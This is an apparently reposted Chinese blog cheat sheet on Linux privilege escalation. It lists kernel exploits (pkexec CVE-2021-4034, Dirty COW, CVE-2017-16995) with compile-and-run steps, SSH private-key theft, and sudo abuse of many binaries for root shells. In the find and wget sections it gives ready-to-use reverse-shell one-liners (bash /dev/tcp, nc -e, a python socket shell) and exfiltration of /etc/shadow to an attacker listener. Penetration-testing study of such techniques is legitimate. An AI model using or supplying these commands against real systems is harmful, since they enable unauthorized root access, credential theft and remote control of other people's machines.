0


Linux提权大全

前言

在学习linux提权之前我们需要思考几个问题,我们为什么要提权?以及我们提权对我们有什么帮助?我们为什么要提权?

不是所有的机器都需要提权的,当你需要某些权限来运行某些脚本或者收集某些信息的时候,这时候才需要提权。

信息收集:

查看发行版本

cat /etc/issue
cat /etc/*-release

查看内核版本,

uname -a

内核提权-CVE-2021-4034

pkexec 本地提权

Github地址:https://github.com/berdav/CVE-2021-4034

通杀乌班图和centos

脏牛内核提权-CVE-2016-5195

Linux内核的内存子系统在处理 写入时复制产生了条件竞争。攻击者可以利用此漏洞来获取高权限,对制度内存映射进行写访问。条件竞争指的是任务执行顺序异常,可导致应用崩溃,或者进一步利用执行其他代码。利用这一漏洞会让攻击者大概率获得root权限!

脏牛系统提权范围:linux内核=>2.6.22

介绍:该漏洞利用dirtycow漏洞的pokemon漏洞利用作为基础,自动生成新的passwd行。运行二进制文件时,将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后,您应该能够使用新创建的用户登录。

Github:https://github.com/FireFart/dirtycow

查看内核信息

上传exp进行编译,再运行即可获得root权限!

CVE-2017-16995 ubuntu内核漏洞

流程:
Linux本地内核提权 CVE-2017-16995
从网上下载exp,或者kali导出exp上传到提权主机上。
gcc 45010.c -o 45010   编译
chmod +x 45010         增加权限
./45010                         执行脚本
id

1、确认内核版本

2、上传Exploit到Ubuntu中

3、编译exp

4、执行exploit程序,执行完之后可见当前用户权限变成了root!提权成功。

kali辅助提权工具

找exp的路径

把它复制到当前目录下

确认目标有gcc,那么可以直接上传exp,在目标机器进行编译

也可以选择开一个http服务

攻击机:sudo python -m SimpleHTTPServer 80

受害机:wget http://192.168.239.141/37292.c -O /tmp/37292.c

受害机:对齐编译:gcc 37292.c -o exp

加权限,运行!

ssh密钥提权

描述:获取目标系统的ssh配置文件,达到ssh登录系统的目的。

拿到shell后,使用如下命令检查哪些用户是bash的:cat /etc/passwd | grep bash可能会有多个用户是由bash的,接下来检查哪些用户的家目录是可以被访问的,如果可以被访问,有没有.ssh隐藏目录。如果有的话,获取 id_rsa文件

复制 id_rsa的内容到kali上面,设置权限:

chmod 600 id_rsa

。然后尝试登录目标:

ssh -i id_rsa web1@ip

LINENUM.SH(本地LINUX枚举和提权辅助脚本)

项目地址:https://github.com/rebootuser/LinEnum

脚本简介

LinEnum 是一个 Linux 主机本地信息自动提取的 shell 脚本,它有超过 65 项安全检查功能,比如潜在的 SUID/GUID 文件、Sudo/rhost 错误配置等。另外这个脚本还可以根据关键字(比如 Password)搜索 *.conf 和 *.log 文件,这些功能对于渗透测试人员来说,是非常有用的。

一般来说,有很多时候我们无法查看passwd或者ip地址的时候,用这个脚本可以帮你一键获取你想要的信息!

chmod +x /tmp/LinEnum.sh
sh /tmp/LinEnum.sh > /tmp/getinfo.txt

linux-exploit-suggester2.sh

项目地址:https://github.com/jondonas/linux-exploit-suggester-2

运行之后可以看到很多系统中存在可利用的提权漏洞

第三方服务提权

以下这些提权方式都是第权限用户拥有sudo权限的时候进行提权的!

并且还要知道当前用户的密码

可以利用sudo提权的命令如下

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp

git提权

Sudo git -p help

!/bin/bash

输入sudo密码(当前用户的密码)

在光标处进行输入!/bin/bash。回车

提权成功!

find 提权

普通用户find命令提权

先查看find命令有没有提权的可能

必要条件:find必须有s执行权限,有s表示可以提权

尝试执行whoami

尝试调出一个交互式的bin/sh并且是root权限

此shell 为不完整的shell, 升级交互式。

#在反弹shell上执行
[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'  

[root@localhost ~]# ctrl +z 按键。挂起正在运行的程序
[kali机器 ~]# stty raw -echo
# 输入这个命令 在输入命令终端不再显示
[kali机器 ~]#fg
# 把后台挂起的程序,放入到控制台。终端不再显示命令,输入后回撤

[root@localhost ~]# reset

用find进行反弹shell

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/9919 0>&1 \;

利用find+nc反弹shell

find /var/www/dirty -exec nc x.x.x.x 8888 -t -e /bin/sh \;

find+python进行反弹shell

find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;

PIP提权

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

ed提权

wget提权

##kali上监听
nc -lvp 4444 > hash.txt

##靶机上
/usr/bin/wget --post-file=/etc/shadow 10.211.55.3:4444

攻击机:

受害机:

通过nc收到了http的文件内容保存到了test.txt中,可查看结果

apt提权

TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl

ZIP提权

sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash"

taskset提权

sudo taskset 1 /bin/sh -p

sed提权

sudo sed -n '1e exec sh 1>&0' /etc/passwd

tmux提权

输入:sudo tmux

scp提权

TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:

perl提权

sudo perl -e 'exec "/bin/bash";'

bash提权

less提权

sudo less /etc/hosts
!bash

awk提权

sudo awk 'BEGIN {system("/bin/bash")}'

man提权

sudo man man
!bash

vi提权

sudo vi
:!bash

env提权

sudo env /bin/bash

ftp提权

sudo ftp
! /bin/bash

计划任务提权

对于可能存在的权限配置不当的有root权限的计划任务,让我们普通用户也拥有修改的权限,我们修改其中的内容,为bash、less等赋予SUID权限,与SUID提权结合,使其提权成功!

列出系统中的一些计划任务:

ls -l /etc/cron*

cat /etc/crontab

如果遇到了权限为777配置不当的计划任务,我们可以修改时,我们可以往文件里面添加内容。

比如把shell复制到tmp目录下其次给权限

cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;

或者给其他组件权限也可以进行提权,比如find、vim、less之类的,具体方法上面有写。

注意:当我们获取到一些如数据库、后台 web 密码,可能就是 root 密码喔!要多多尝试

原文出处:Linux提权小结 (qq.com)

标签: linux 安全

本文转载自: https://blog.csdn.net/weixin_57567655/article/details/124774315
版权归原作者 yggcwhat 所有, 如有侵权,请联系我们删除。

“Linux提权大全”的评论:

还没有评论